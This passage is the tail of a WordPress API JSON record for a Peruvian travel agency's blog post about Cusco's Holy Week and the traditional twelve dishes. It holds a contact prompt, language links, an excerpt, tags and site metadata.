<\/p>\n\n\n\n<p>Feel free to <strong><a href=\"https:\/\/viajesmachupicchu.travel\/en\/contact\" title=\"\">contact <\/a><\/strong>our experts to give you everything you need to know about our tailor-made tours, packages, and special deals! The adventure in Andean lands and Peru awaits!<\/p>\n\n\n\n<p><strong><em>Viagens Machu Picchu, journeys that inspire, moments that last<\/em><\/strong>.<\/p>\n\n\n\n<p><strong><a href=\"https:\/\/viajesmachupicchu.travel\/\">En Espa\u00f1ol &nbsp;<\/a><\/strong><\/p>\n\n\n\n<p><strong><a href=\"https:\/\/viajesmachupicchu.travel\/en\/\">In English&nbsp;<\/a><\/strong><\/p>\n\n\n\n<p><strong><a href=\"https:\/\/www.viagensmachupicchu.com.br\/\">Em Portugu\u00e9s<\/a><\/strong><\/p>\n\n\n\n<p><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Cusco\u2019s Holy Week blends faith, family, and food with the tradition of the \u201cDoce Platos\u201d (Twelve Dishes). Each dish, both savory and sweet, honors the 12 apostles and showcases Andean flavors. Join us as we explore this culinary and cultural celebration in the heart of Peru.  <\/p>\n","protected":false},"author":1,"featured_media":13483,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"_jetpack_newsletter_access":"","_jetpack_dont_email_post_to_subs":false,"_jetpack_newsletter_tier_id":0,"_jetpack_memberships_contains_paywalled_content":false,"_jetpack_memberships_contains_paid_content":false,"footnotes":""},"categories":[1630,206,194],"tags":[5130,5128,1793,1782,5126,5104,1781,1778,5129,212,1777,5127,1658,2281,5132,970,2218,5131,5125],"class_list":["post-13481","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-advice","category-cusco","category-destinations","tag-12-dishes","tag-cathedral-of-cusco","tag-city-of-cusco","tag-good-friday","tag-historical-center","tag-holy-monday","tag-holy-thursday","tag-holy-week-in-cusco","tag-lord-of-the-tremors","tag-machu-picchu","tag-palm-sunday","tag-procession-of-the-lord","tag-sacred-valley","tag-san-francisco","tag-seafood","tag-senor-de-los-temblores","tag-streets-of-cusco","tag-streets-of-the-city","tag-twelve-dishes"],"aioseo_notices":[],"jetpack_featured_media_url":"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/03\/12-platos-cusco-semana-santa-portada-1536x722-1.jpg?fit=1536%2C722&ssl=1","jetpack_shortlink":"https:\/\/wp.me\/pg0r71-3vr","jetpack_sharing_enabled":true,"amp_enabled":true,"_links":{"self":[{"href":"https:\/\/blog.viajesmachupicchu.travel\/en\/wp-json\/wp\/v2\/posts\/13481","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/blog.viajesmachupicchu.travel\/en\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/blog.viajesmachupicchu.travel\/en\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/blog.viajesmachupicchu.travel\/en\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/blog.viajesmachupicchu.travel\/en\/wp-json\/wp\/v2\/comments?post=13481"}],"version-history":[{"count":3,"href":"https:\/\/blog.viajesmachupicchu.travel\/en\/wp-json\/wp\/v2\/posts\/13481\/revisions"}],"predecessor-version":[{"id":14795,"href":"https:\/\/blog.viajesmachupicchu.travel\/en\/wp-json\/wp\/v2\/posts\/13481\/revisions\/14795"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/blog.viajesmachupicchu.travel\/en\/wp-json\/wp\/v2\/media\/13483"}],"wp:attachment":[{"href":"https:\/\/blog.viajesmachupicchu.travel\/en\/wp-json\/wp\/v2\/media?parent=13481"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/blog.viajesmachupicchu.travel\/en\/wp-json\/wp\/v2\/categories?post=13481"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/blog.viajesmachupicchu.travel\/en\/wp-json\/wp\/v2\/tags?post=13481"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}